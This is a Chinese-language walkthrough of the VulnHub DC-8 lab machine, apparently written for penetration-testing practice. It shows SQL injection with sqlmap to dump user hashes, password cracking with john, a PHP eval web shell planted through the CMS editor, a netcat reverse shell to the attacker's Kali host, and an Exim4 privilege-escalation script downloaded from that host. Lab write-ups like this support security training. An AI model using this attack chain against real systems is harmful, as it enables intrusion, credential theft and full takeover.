vulnhub 靶场DC-8实战指南
靶机下载地址:https://www.vulnhub.com/entry/dc-8,367/
攻击机kali:192.168.48.138
靶机DC-8:192.168.48.171
信息收集
- 查看靶机ip
arp-scan -l
发现靶机ip为192.168.48.171
-
端口扫描
nmap -A -p- -T4 192.168.48.171
-
访问80端口的web站点
随便点点,发现可能存在SQL注入,等会尝试
-
扫描目录试试看
dirb http://192.168.48.171
dirsearch -u http://192.168.48.171 -i 200
发现存在登录页面,尝试获取用户名密码进行登录
-
网站cms指纹信息
漏洞探测
-
尝试刚刚发现可能的注入点
增加单引号,出现报错,大概率存在SQL注入
sqlmap一把梭!!!
sqlmap -u http://192.168.48.171/?nid=1
获取数据库信息
sqlmap -u http://192.168.48.171/?nid=1 --dbs
获取到数据库名为:d7db
获取数据库中的数据表信息
sqlmap -u http://192.168.48.171/?nid=1 -D d7db --tables
共88张表,发现其中存在 users
数据表
获取 users
表中的字段信息
sqlmap -u http://192.168.48.171/?nid=1 -D d7db -T users --columns
发现存在 name
和 pass
字段,尝试获取字段内容
sqlmap -u http://192.168.48.171/?nid=1 -D d7db -T users -C name,pass --dump
发现密码进行了加密,尝试进行密码爆破
将获取到的hash值存储为txt文件后,使用哈希工具 john
进行爆破
vim ryan.txt // 编辑文件内容,将hash值写入
john ryan.txt // 使用john工具进行爆破
admin用户的密码没有爆破成功,john用户密码爆破成功,为turtle
使用 john/turtle
尝试登录网站
成功登录
接下来尝试能否getshell,再进行反弹shell操作
getshell
先熟悉熟悉后台功能,发现存在富文本编辑器
先验证一下是否能执行php代码
<?php phpinfo();?>
发现能执行phpinfo
那就尝试写入一句话木马
<?php @eval($_POST[1]);?>
尝试使用蚁剑连接
进入虚拟终端,进行反弹shell(执行该操作前,先在kali进行监听)
nc 192.168.48.138 8888 -e /bin/bash
kali监听
nc -lvnp 8888
交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
提权
suid提权
SUID(Set User ID)是一个文件权限位,用于允许用户以文件拥有者的权限执行该文件。这意味着当用户运行一个具有SUID位的程序时,该程序会以文件拥有者的身份运行,而不是用户的身份。
sudo(superuser do)是一个命令,用于以超级用户或其他用户的身份执行命令,它需要用户输入密码。
简单来说,SUID是文件级别的权限提升,而sudo是命令级别的权限管理。
SUID提权指的是通过利用具有SUID位的程序,非特权用户可以获得更高权限(通常是root权限)执行该程序。
suid提权的工作原理及执行过程:
SUID位:在类Unix系统中,文件的权限位可以设置为SUID。通过设置SUID位,文件的所有者可以授权其他用户以其身份执行该文件。
执行过程:当用户运行一个具有SUID位的程序时,操作系统会临时提升该程序的权限,使其以文件拥有者的身份执行。这样,普通用户可以执行一些原本只有管理员才能执行的操作。
find / -perm -u=s -type f 2>/dev/null
查看exim4的版本
Exim4是一个开放源代码的邮件传输代理(MTA),用于在Unix和类Unix系统上发送和接收电子邮件。它灵活且高度可配置,支持多种邮件传递方式、反垃圾邮件功能和多用户环境。
使用 searchsploit
查找exim可利用的漏洞
查看利用信息
找到脚本路径
将脚本复制到当前工作目录
cp /usr/share/exploitdb/exploits/linux/local/46996.sh ~
启动apache服务,并将脚本放到 /var/www/html
目录下去
在得到的shell中下载利用脚本
wget http://192.168.48.138/46996.sh
发现没有权限,切换到 /tmp
目录下,重新下载
成功下载
发现该文件没有执行权限,赋予执行权限
chmod 777 46996.sh
查看脚本使用方法
进行提权
./46996.sh -m setuid
提权失败,利用第二种方式
./46996.sh -m netcat
提权成功
找到flag
查看flag